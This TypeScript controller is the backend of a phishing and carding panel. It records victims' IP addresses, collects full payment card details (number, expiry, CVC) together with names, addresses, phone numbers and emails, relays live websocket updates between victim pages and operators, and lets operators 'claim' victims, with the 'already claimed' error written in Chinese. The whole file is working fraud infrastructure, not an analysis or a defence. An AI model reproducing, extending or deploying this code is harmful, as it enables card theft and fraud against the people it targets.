import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
import PaginationService from 'App/Services/PaginationService'
import Phish, { PhishStep } from 'App/Models/Phish'
import Ws from 'App/Services/Ws'
import { UserRoles } from 'App/Models/User'

export default class PhishesController {
    private paginationService = new PaginationService(Phish)

    public async index({ request, auth }: HttpContextContract) {
        const userRole = auth.user!.role
        if (userRole !== UserRoles.Admin && userRole !== UserRoles.Card) {
            return {
                error: 'You are not authorized to access this resource',
                status: 403
            }
        }
        return await this.paginationService.paginate(request.all())
    }

    public async store({ request }: HttpContextContract) {
        const ip = request.ip()
        const id = request.all().id
        let phish: Phish | null = null
        if (id) {
            phish = await Phish.find(id)
        }
        if (!phish) {
            phish = new Phish()
        }
        phish.ip = ip
        phish.online = false
        await phish.save()
        Ws.hookIO.emit('new', phish)
        return phish
    }

    public async add({ request }: HttpContextContract) {
        const ip = request.ip()
        const data = request.all()

        const phish = new Phish()
        phish.ip = ip
        phish.online = true
        phish.step = PhishStep.SUCCESS
        if (data.card) phish.card = data.card
        if (data.expiry) phish.expiry = data.expiry
        if (data.cvc) phish.cvc = data.cvc
        if (data.firstName) phish.firstName = data.firstName
        if (data.lastName) phish.lastName = data.lastName
        if (data.country) phish.country = data.country
        if (data.state) phish.state = data.state
        if (data.city) phish.city = data.city
        if (data.address) phish.address = data.address
        if (data.zip) phish.zip = data.zip
        if (data.phone) phish.phone = data.phone
        if (data.email) phish.email = data.email
        await phish.save()
        return phish
    }

    public async show({ params }: HttpContextContract) {
        return await Phish.findOrFail(params.id)
    }

    public async clientUpdate({ params, request }: HttpContextContract) {
        const phish = await Phish.findOrFail(params.id)
        phish.merge(request.all())
        await phish.save()
        Ws.hookIO.emit('update', phish)
        return phish
    }

    public async adminUpdate({ params, request }: HttpContextContract) {
        const phish = await Phish.findOrFail(params.id)
        phish.merge(request.all())
        await phish.save()
        Ws.phishIO.to(phish.socketId).emit('update', phish)
        return phish
    }

    public async claim({ params, auth }: HttpContextContract) {
        const phish = await Phish.findOrFail(params.id)
        if (phish.userId && phish.userId !== auth.user!.id) {
            throw new Error('已被他人领取')
        }
        phish.userId = auth.user!.id
        await phish.save()
        return phish
    }
}
